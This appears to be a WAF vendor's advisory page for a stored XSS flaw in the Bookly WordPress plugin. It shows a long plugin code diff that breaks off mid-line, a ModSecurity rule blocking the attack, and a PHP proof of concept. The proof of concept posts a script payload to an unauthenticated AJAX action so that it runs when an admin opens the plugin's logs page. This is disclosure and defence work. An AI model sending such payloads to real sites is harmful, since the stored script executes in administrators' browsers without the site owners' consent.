-        <i class="fas fa-sign-in-alt mr-2"></i><?php esc_html_e( 'Log In', 'bookly' ) ?>
+        <i class="fas fa-sign-in-alt mr-2"></i><?php esc_html_e( 'Log In', 'bookly-responsive-appointment-booking-tool' ) ?>
     </button>
 </div>

@@ -17,9 +17,9 @@
         <div class="modal-content">
             <div class="modal-header">
                 <h4 class="modal-title">
-                    <span class="bookly-js-modal-title bookly-js-title-register"><?php esc_html_e( 'Registration', 'bookly' ) ?></span>
-                    <span class="bookly-js-modal-title bookly-js-title-login"><?php esc_html_e( 'Login', 'bookly' ) ?></span>
-                    <span class="bookly-js-modal-title bookly-js-title-forgot bookly-js-title-recovery-code bookly-js-title-recovery-password"><?php esc_html_e( 'Forgot password', 'bookly' ) ?></span>
+                    <span class="bookly-js-modal-title bookly-js-title-register"><?php esc_html_e( 'Registration', 'bookly-responsive-appointment-booking-tool' ) ?></span>
+                    <span class="bookly-js-modal-title bookly-js-title-login"><?php esc_html_e( 'Login', 'bookly-responsive-appointment-booking-tool' ) ?></span>
+                    <span class="bookly-js-modal-title bookly-js-title-forgot bookly-js-title-recovery-code bookly-js-title-recovery-password"><?php esc_html_e( 'Forgot password', 'bookly-responsive-appointment-booking-tool' ) ?></span>
                 </h4>
                 <button type="button" class="close" data-dismiss="bookly-modal"><span>×</span></button>
             </div>
@@ -29,70 +29,70 @@
                         <div class="form-group"><?php echo Common::stripScripts( $promo_texts['form'] ) ?></div>
                     <?php endif ?>
                     <div class="form-group">
-                        <label for="bookly-r-username"><?php esc_html_e( 'Email', 'bookly' ) ?></label>
+                        <label for="bookly-r-username"><?php esc_html_e( 'Email', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-r-username" name="username" class="form-control" required="required" value="" type="text">
                     </div>
                     <div class="form-group">
-                        <label for="bookly-r-password"><?php esc_html_e( 'Password', 'bookly' ) ?></label>
+                        <label for="bookly-r-password"><?php esc_html_e( 'Password', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-r-password" name="password" class="form-control" required="required" value="" type="password">
                     </div>
                     <div class="form-group">
-                        <label for="bookly-r-repeat-password"><?php esc_html_e( 'Repeat password', 'bookly' ) ?></label>
+                        <label for="bookly-r-repeat-password"><?php esc_html_e( 'Repeat password', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-r-repeat-password" name="password_repeat" class="form-control" required="required" value="" type="password">
                     </div>
                     <div class="form-group">
-                        <label for="bookly-r-country"><?php esc_html_e( 'Country', 'bookly' ) ?></label>
+                        <label for="bookly-r-country"><?php esc_html_e( 'Country', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <select id="bookly-r-country" class="form-control" name="country"></select>
-                        <small class="text-muted"><?php esc_html_e( 'Your country is the location from where you consume Bookly SMS services and is used to provide you with the payment methods available in that country', 'bookly' ) ?></small>
+                        <small class="text-muted"><?php esc_html_e( 'Your country is the location from where you consume Bookly SMS services and is used to provide you with the payment methods available in that country', 'bookly-responsive-appointment-booking-tool' ) ?></small>
                     </div>
                     <div class="form-group">
                         <div class="custom-control custom-checkbox">
                             <input class="custom-control-input" type="checkbox" id="bookly-r-tos" name="accept_tos" required="required" value="1">
                             <label class="custom-control-label" for="bookly-r-tos">
-                                <?php printf( __( 'I accept <a href="%1$s" target="_blank">Service Terms</a> and <a href="%2$s" target="_blank">Privacy Policy</a>', 'bookly' ), 'https://www.booking-wp-plugin.com/terms/', 'https://www.booking-wp-plugin.com/privacy/' ) ?>
+                                <?php printf( __( 'I accept <a href="%1$s" target="_blank">Service Terms</a> and <a href="%2$s" target="_blank">Privacy Policy</a>', 'bookly-responsive-appointment-booking-tool' ), 'https://www.booking-wp-plugin.com/terms/', 'https://www.booking-wp-plugin.com/privacy/' ) ?>
                             </label>
                         </div>
                     </div>
                 </div>
                 <div id="bookly-form-login" class="bookly-js-modal-form">
                     <div class="form-group">
-                        <label for="bookly-username"><?php esc_html_e( 'Email', 'bookly' ) ?></label>
+                        <label for="bookly-username"><?php esc_html_e( 'Email', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-username" class="form-control" type="text" required="required" value="" name="username"/>
                     </div>
                     <div class="form-group">
-                        <label for="bookly-password"><?php esc_html_e( 'Password', 'bookly' ) ?></label>
+                        <label for="bookly-password"><?php esc_html_e( 'Password', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-password" class="form-control" type="password" required="required" name="password"/>
                     </div>
                 </div>
                 <div id="bookly-form-forgot" class="bookly-js-modal-form">
                     <div class="form-group">
-                        <label for="bookly-f-username"><?php esc_html_e( 'Email', 'bookly' ) ?></label>
+                        <label for="bookly-f-username"><?php esc_html_e( 'Email', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-f-username" class="form-control" type="text" name="username" value=""/>
                     </div>
                 </div>
                 <div id="bookly-form-recovery-code" class="bookly-js-modal-form">
                     <div class="form-group">
-                        <label for="bookly-f-code"><?php esc_html_e( 'Enter code from email', 'bookly' ) ?></label>
+                        <label for="bookly-f-code"><?php esc_html_e( 'Enter code from email', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-f-code" name="code" class="form-control" value="" type="text"/>
                     </div>
                 </div>
                 <div id="bookly-form-recovery-password" class="bookly-js-modal-form">
                     <div class="form-group">
-                        <label for="bookly-f-password"><?php esc_html_e( 'New password', 'bookly' ) ?></label>
+                        <label for="bookly-f-password"><?php esc_html_e( 'New password', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-f-password" name="password" class="form-control" value="" type="password"/>
                     </div>
                     <div class="form-group">
-                        <label for="bookly-f-password-repeat"><?php esc_html_e( 'Repeat new password', 'bookly' ) ?></label>
+                        <label for="bookly-f-password-repeat"><?php esc_html_e( 'Repeat new password', 'bookly-responsive-appointment-booking-tool' ) ?></label>
                         <input id="bookly-f-password-repeat" name="password_repeat" class="form-control" value="" type="password"/>
                     </div>
                 </div>
             </div>
             <div class="modal-footer">
                 <div class="bookly-js-modal-buttons bookly-js-buttons-register mr-auto">
-                    <a href="#" class="bookly-js-modal-form-switch" data-target="login"><?php esc_html_e( 'Log In', 'bookly' ) ?></a>
+                    <a href="#" class="bookly-js-modal-form-switch" data-target="login"><?php esc_html_e( 'Log In', 'bookly-responsive-appointment-booking-tool' ) ?></a>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-register btn-group">
-                    <?php ControlsButtons::renderSubmit( null, null, __( 'Register', 'bookly' ), array( 'name' => 'form-register' ) ) ?>
+                    <?php ControlsButtons::renderSubmit( null, null, __( 'Register', 'bookly-responsive-appointment-booking-tool' ), array( 'name' => 'form-register' ) ) ?>
                     <?php if ( $promo_texts['button'] ) : ?>
                         <div class="border border-left-0 rounded px-2 d-flex align-items-center">
                             <h6 class="m-0"><?php echo Common::stripScripts( $promo_texts['button'] ) ?></h6>
@@ -100,25 +100,25 @@
                     <?php endif ?>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-login mr-auto">
-                    <a href="#" class="bookly-js-modal-form-switch" data-target="register"><?php esc_html_e( 'Register', 'bookly' ) ?></a><br/>
-                    <a href="#" class="bookly-js-modal-form-switch" data-target="forgot"><?php esc_html_e( 'Forgot password', 'bookly' ) ?></a>
+                    <a href="#" class="bookly-js-modal-form-switch" data-target="register"><?php esc_html_e( 'Register', 'bookly-responsive-appointment-booking-tool' ) ?></a><br/>
+                    <a href="#" class="bookly-js-modal-form-switch" data-target="forgot"><?php esc_html_e( 'Forgot password', 'bookly-responsive-appointment-booking-tool' ) ?></a>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-login">
-                    <?php ControlsButtons::renderSubmit( null, null, __( 'Log In', 'bookly' ), array( 'name' => 'form-login' ) ) ?>
+                    <?php ControlsButtons::renderSubmit( null, null, __( 'Log In', 'bookly-responsive-appointment-booking-tool' ), array( 'name' => 'form-login' ) ) ?>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-forgot mr-auto">
-                    <a href="#" class="bookly-js-modal-form-switch" data-target="login"><?php esc_html_e( 'Log In', 'bookly' ) ?></a>
+                    <a href="#" class="bookly-js-modal-form-switch" data-target="login"><?php esc_html_e( 'Log In', 'bookly-responsive-appointment-booking-tool' ) ?></a>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-forgot">
-                    <?php ControlsButtons::renderSubmit( null, null, __( 'Next', 'bookly' ), array( 'name' => 'form-forgot', 'data-step' => 0, 'data-next' => 'recovery-code' ) ) ?>
+                    <?php ControlsButtons::renderSubmit( null, null, __( 'Next', 'bookly-responsive-appointment-booking-tool' ), array( 'name' => 'form-forgot', 'data-step' => 0, 'data-next' => 'recovery-code' ) ) ?>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-recovery-code">
-                    <?php ControlsButtons::renderSubmit( null, null, __( 'Next', 'bookly' ), array( 'name' => 'form-forgot', 'data-step' => 1, 'data-next' => 'recovery-password' ) ) ?>
+                    <?php ControlsButtons::renderSubmit( null, null, __( 'Next', 'bookly-responsive-appointment-booking-tool' ), array( 'name' => 'form-forgot', 'data-step' => 1, 'data-next' => 'recovery-password' ) ) ?>
                 </div>
                 <div class="bookly-js-modal-buttons bookly-js-buttons-recovery-password">
-                    <?php ControlsButtons::renderSubmit( null, null, __( 'Apply', 'bookly' ), array( 'name' => 'form-forgot', 'data-step' => 2, 'data-next' => 'login' ) ) ?>
+                    <?php ControlsButtons::renderSubmit( null, null, __( 'Apply', 'bookly-responsive-appointment-booking-tool' ), array( 'name' => 'form-forgot', 'data-step' => 2, 'data-next' => 'login' ) ) ?>
                 </div>
-                <?php ControlsButtons::renderCancel( __( 'Close', 'bookly' ) ) ?>
+                <?php ControlsButtons::renderCancel( __( 'Close', 'bookly-responsive-appointment-booking-tool' ) ) ?>
             </div>
         </div>
     </div>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/panel.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/panel.php
@@ -25,14 +25,14 @@
             <div class="bookly-dropdown-menu bookly-dropdown-menu-compact bookly-dropdown-menu-right" aria-labelledby="bookly-open-account-settings">
                 <?php if ( ! $cloud->account->getEmailConfirmed() ) : ?>
                     <a id="bookly-open-email-confirm" class="bookly-dropdown-item text-danger" href="#">
-                        <i class="fas fa-exclamation-circle mr-2"></i><?php esc_html_e( 'Confirm email', 'bookly' ) ?>
+                        <i class="fas fa-exclamation-circle mr-2"></i><?php esc_html_e( 'Confirm email', 'bookly-responsive-appointment-booking-tool' ) ?>
                     </a>
                 <?php endif ?>
                 <a class="bookly-dropdown-item bookly-js-ladda" href="<?php echo Common::escAdminUrl( BooklyBackendModulesCloudSettingsPage::pageSlug() ) ?>">
-                    <i class="fas fa-cog mr-2"></i><?php esc_html_e( 'Settings', 'bookly' ) ?>
+                    <i class="fas fa-cog mr-2"></i><?php esc_html_e( 'Settings', 'bookly-responsive-appointment-booking-tool' ) ?>
                 </a>
                 <a id="bookly-logout" class="bookly-dropdown-item bookly-js-ladda" href="#">
-                    <i class="fas fa-sign-out-alt mr-2"></i><?php esc_html_e( 'Log out', 'bookly' ) ?>
+                    <i class="fas fa-sign-out-alt mr-2"></i><?php esc_html_e( 'Log out', 'bookly-responsive-appointment-booking-tool' ) ?>
                 </a>
             </div>
         </div>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/login_required/templates/index.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/login_required/templates/index.php
@@ -1,18 +1,15 @@
 <?php defined( 'ABSPATH' ) || exit; // Exit if accessed directly
-use BooklyBackendComponentsSupport;
+use BooklyBackendComponentsPageHeaderRenderer as PageHeaderRenderer;
 use BooklyBackendComponentsCloud;
 /**
  * @var string $title
  * @var string $slug
  */
 ?>
-<div id="bookly-tbs" class="wrap">
-    <div class="form-row align-items-center mb-3">
-        <h4 class="col m-0"><?php echo esc_html( $title ) ?></h4>
-        <?php SupportButtons::render( $slug ) ?>
-    </div>
-    <div id="bookly-login-required" class="card mb-4" style="min-height: 600px;">
-        <div class="card-body">
+<div id="bookly-tbs" class="wrap bookly-css-root bookly-main-page-wrap">
+    <?php PageHeaderRenderer::render( $slug, $title ) ?>
+    <div id="bookly-login-required" class="bookly:card mb-4" style="min-height: 600px;">
+        <div class="bookly:card-body">
             <div class="row pb-3">
                 <div class="col">
                 </div>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/Ajax.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/Ajax.php
@@ -20,7 +20,7 @@
             wp_send_json_success( array( 'paypal_preapproval' => $url ) );
         } else {
             $errors = $cloud->getErrors();
-            $message = __( 'Auto-Recharge has failed, please replenish your balance directly.', 'bookly' );
+            $message = __( 'Auto-Recharge has failed, please replenish your balance directly.', 'bookly-responsive-appointment-booking-tool' );
             if ( array_key_exists( 'ERROR_PROMOTION_NOT_AVAILABLE', $errors ) ) {
                 $message = $errors['ERROR_PROMOTION_NOT_AVAILABLE'];
             }
@@ -29,16 +29,17 @@
     }

     /**
-     * Create Stripe Checkout session
+     * Create Checkout session
      */
-    public static function createStripeCheckoutSession()
+    public static function createCheckoutSession()
     {
         $cloud = LibCloudAPI::getInstance();
-        $result = $cloud->account->createStripeCheckoutSession(
+        $result = $cloud->account->createCheckoutSession(
             self::parameter( 'recharge' ),
             self::parameter( 'promo_code' ),
             self::parameter( 'mode' ),
-            self::parameter( 'url' )
+            self::parameter( 'url' ),
+            (bool) self::parameter( 'consent' )
         );

         if ( $result === false ) {
@@ -46,7 +47,7 @@
             if ( array_key_exists( 'ERROR_RECHARGE_NOT_AVAILABLE', $errors ) ) {
                 wp_send_json_error( array( 'message' => $errors['ERROR_RECHARGE_NOT_AVAILABLE'] ) );
             } else {
-                wp_send_json_error( array( 'message' => __( 'Card payment has failed, please use another payment option', 'bookly' ) ) );
+                wp_send_json_error( array( 'message' => __( 'Payment has failed, please try again later', 'bookly-responsive-appointment-booking-tool' ) ) );
             }
         } else {
             wp_send_json( $result );
@@ -70,7 +71,7 @@
             if ( array_key_exists( 'ERROR_RECHARGE_NOT_AVAILABLE', $errors ) ) {
                 wp_send_json_error( array( 'message' => $errors['ERROR_RECHARGE_NOT_AVAILABLE'] ) );
             } else {
-                wp_send_json_error( array( 'message' => __( 'Payment has failed, please use another payment option', 'bookly' ) ) );
+                wp_send_json_error( array( 'message' => __( 'Payment has failed, please use another payment option', 'bookly-responsive-appointment-booking-tool' ) ) );
             }
         } else {
             wp_send_json_success( compact( 'order_url' ) );
@@ -85,9 +86,9 @@
         $disabled = LibCloudAPI::getInstance()->account->disableAutoRecharge();
         if ( $disabled !== false ) {
             update_option( 'bookly_cloud_auto_recharge_gateway', '' );
-            wp_send_json_success( array( 'message' => __( 'Auto-Recharge disabled', 'bookly' ) ) );
+            wp_send_json_success( array( 'message' => __( 'Auto-Recharge disabled', 'bookly-responsive-appointment-booking-tool' ) ) );
         } else {
-            wp_send_json_error( array( 'message' => sprintf( __( 'Can't disable Auto-Recharge, please contact us at %s', 'bookly' ), '<a href="mailto:support@bookly.info">support@bookly.info</a>' ) ) );
+            wp_send_json_error( array( 'message' => sprintf( __( 'Can't disable Auto-Recharge, please contact us at %s', 'bookly-responsive-appointment-booking-tool' ), '<a href="mailto:support@bookly.info">support@bookly.info</a>' ) ) );
         }
     }

--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/Dialog.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/Dialog.php
@@ -24,15 +24,15 @@
                 'no_card' => $recharge['no_card'],
                 'payment' => array(
                     'manual' => array(
-                        'action' => __( 'Pay using', 'bookly' ),
-                        'accepted' => __( 'Your payment has been accepted for processing', 'bookly' ),
-                        'cancelled' => __( 'Your payment has been cancelled', 'bookly' ),
+                        'action' => __( 'Pay using', 'bookly-responsive-appointment-booking-tool' ),
+                        'accepted' => __( 'Your payment has been accepted for processing', 'bookly-responsive-appointment-booking-tool' ),
+                        'cancelled' => __( 'Your payment has been cancelled', 'bookly-responsive-appointment-booking-tool' ),
                     ),
                     'auto' => array(
-                        'action' => __( 'Continue with', 'bookly' ),
-                        'cancelled' => __( 'Auto-Recharge has been cancelled', 'bookly' ),
-                        'enabled' => __( 'Auto-Recharge has been enabled', 'bookly' ),
-                        'renewed' => __( 'Auto-Recharge has been renewed', 'bookly' ),
+                        'action' => __( 'Continue with', 'bookly-responsive-appointment-booking-tool' ),
+                        'cancelled' => __( 'Auto-Recharge has been cancelled', 'bookly-responsive-appointment-booking-tool' ),
+                        'enabled' => __( 'Auto-Recharge has been enabled', 'bookly-responsive-appointment-booking-tool' ),
+                        'renewed' => __( 'Auto-Recharge has been renewed', 'bookly-responsive-appointment-booking-tool' ),
                     ),
                 ),
                 'auto_recharge' => array(
@@ -40,8 +40,8 @@
                     'amount' => $cloud->account->getAutoRechargeAmount(),
                     'bonus' => $cloud->account->getAutoRechargeBonus(),
                 ),
-                'dont_have_auto_recharge' => __( 'You don't have active auto-recharge', 'bookly' ),
-                'promo_percentage_info' => __( 'You'll receive a %s bonus on your top-up', 'bookly' ),
+                'dont_have_auto_recharge' => __( 'You don't have active auto-recharge', 'bookly-responsive-appointment-booking-tool' ),
+                'promo_percentage_info' => __( 'You'll receive a %s bonus on your top-up', 'bookly-responsive-appointment-booking-tool' ),
             ) );

             self::renderTemplate( 'dialog', compact( 'cloud' ) );
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/templates/_accepted.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/templates/_accepted.php
@@ -24,8 +24,8 @@
         transform: rotate(45deg)
     }
 </style>
-<h3 class="text-success text-center pb-0 mb-0"><?php esc_html_e( 'Thank you', 'bookly' ) ?>!</h3>
+<h3 class="text-success text-center pb-0 mb-0"><?php esc_html_e( 'Thank you', 'bookly-responsive-appointment-booking-tool' ) ?>!</h3>
 <div class="text-success py-5">
     <i class="mx-auto bookly-success-icon"></i>
 </div>
-<p class="text-center bookly-js-message"><?php esc_html_e( 'Your payment has been accepted for processing', 'bookly' ) ?>!</p>
 No newline at end of file
+<p class="text-center bookly-js-message"><?php esc_html_e( 'Your payment has been accepted for processing', 'bookly-responsive-appointment-booking-tool' ) ?>!</p>
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/templates/_amounts.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/recharge/templates/_amounts.php
@@ -1,7 +1,11 @@
 <?php defined( 'ABSPATH' ) || exit; // Exit if accessed directly
 use BooklyBackendComponentsCloudRechargeAmounts;
+use BooklyLibCloudAccount;

 $amounts = Amounts::getInstance();
+// Served for the current account only while it is eligible (no top-ups yet)
+$promotions = get_option( 'bookly_cloud_promotions' );
+$first_recharge = is_array( $promotions ) && isset( $promotions['first_recharge'] ) ? $promotions['first_recharge'] : null;
 ?>
 <div class="text-center mt-3">
     <div class="btn-group">
@@ -12,28 +16,42 @@

 <div class="bookly-js-auto-recharge-text">
     <?php if ( ! $cloud->account->autoRechargeEnabled() ) : ?>
-        <h4 class="text-center mt-3"><?php esc_html_e( 'Please select an amount and enable Auto-Recharge', 'bookly' ) ?></h4>
+        <h4 class="text-center mt-3"><?php esc_html_e( 'Please select an amount and enable Auto-Recharge', 'bookly-responsive-appointment-booking-tool' ) ?></h4>
     <?php endif ?>
     <div class="mb-3 mt-4">
         <div class="text-center">
             <a class="text-muted" style="text-decoration:underline dotted" data-toggle="bookly-collapse" href="#how-auto-recharge-works">
-                <?php esc_html_e( 'How it works', 'bookly' ) ?> <i class="fas fa-question-circle"></i>
+                <?php esc_html_e( 'How it works', 'bookly-responsive-appointment-booking-tool' ) ?> <i class="fas fa-question-circle"></i>
             </a>
         </div>
         <div class="bookly-collapse alert alert-info text-justify mx-5" id="how-auto-recharge-works">
-            <?php printf( __( 'Your account will be topped up with the selected amount <b>now</b> if your balance is less than %1$s, and <b>automatically later</b> when the balance falls below %1$s.', 'bookly' ), '$10' ) ?>
+            <?php printf( __( 'Your account will be topped up with the selected amount <b>now</b> if your balance is less than %1$s, and <b>automatically later</b> when the balance falls below %1$s.', 'bookly-responsive-appointment-booking-tool' ), '$' . Account::AUTO_RECHARGE_THRESHOLD ) ?>
         </div>
     </div>
+    <?php if ( ! $cloud->account->autoRechargeEnabled() ) : ?>
+        <?php // Authorization is asked only when the recur

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-13424
# This rule virtually patches the unauthenticated stored XSS vulnerability in the Bookly plugin.
# It matches the specific AJAX action and the presence of script-centric payloads in the log parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261990,phase:2,deny,status:403,chain,msg:'CVE-2026-13424 - Bookly Stored XSS Attempt',severity:'CRITICAL',tag:'CVE-2026-13424'"
    SecRule ARGS_POST:action "@streq bookly_speed_up_update_addons" "chain"
        SecRule ARGS_POST:data "@rx <script[^>]*>[^<]*</script>" "chain"
            SecRule ARGS_POST:data "@rx <script" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13424 - Online Scheduling and Appointment Booking System <= 27.7 - Unauthenticated Stored Cross-Site Scripting via bookly_speed_up_update_addons AJAX action

/**
 * Proof of Concept for CVE-2026-13424.
 *
 * Exploitation: This script sends a crafted request to the 'bookly_speed_up_update_addons'
 * AJAX action. The payload is embedded in a parameter that is logged without sanitization.
 * When an admin views the Diagnostics -> Logs page, the XSS payload executes.
 */

// --- Configuration ---
$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php'; // Replace with your target URL

// Default XSS payload to be injected. Can be modified.
$xss_payload = '<script>alert('XSS - CVE-2026-13424')</script>';

// Parameters for the AJAX request. The exact parameter used for logging might need to be adjusted.
// Based on the vulnerability description, the payload is stored in bookly_log.details.
// We'll send the payload as the 'data' or a general 'details' parameter.
$post_data = array(
    'action' => 'bookly_speed_up_update_addons',      // The vulnerable AJAX action
    'data' => $xss_payload,                            // The XSS payload
    // 'signature' => 'invalid_or_missing',            // No valid signature required
);

// --- cURL request ---
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Ignore SSL certificate errors for testing

// Set a valid User-Agent to avoid being blocked from some basic filters
curl_setopt($ch, CURLOPT_HTTPHEADER, array('User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'));

// --- Execute and Output ---
$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "[+] Request sent successfully.n";
    echo "[+] Response from server: " . $response . "n";
    echo "[+] XSS payload was injected. Check the Bookly Diagnostics -> Logs page as an admin to see if it executes.n";
}

curl_close($ch);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.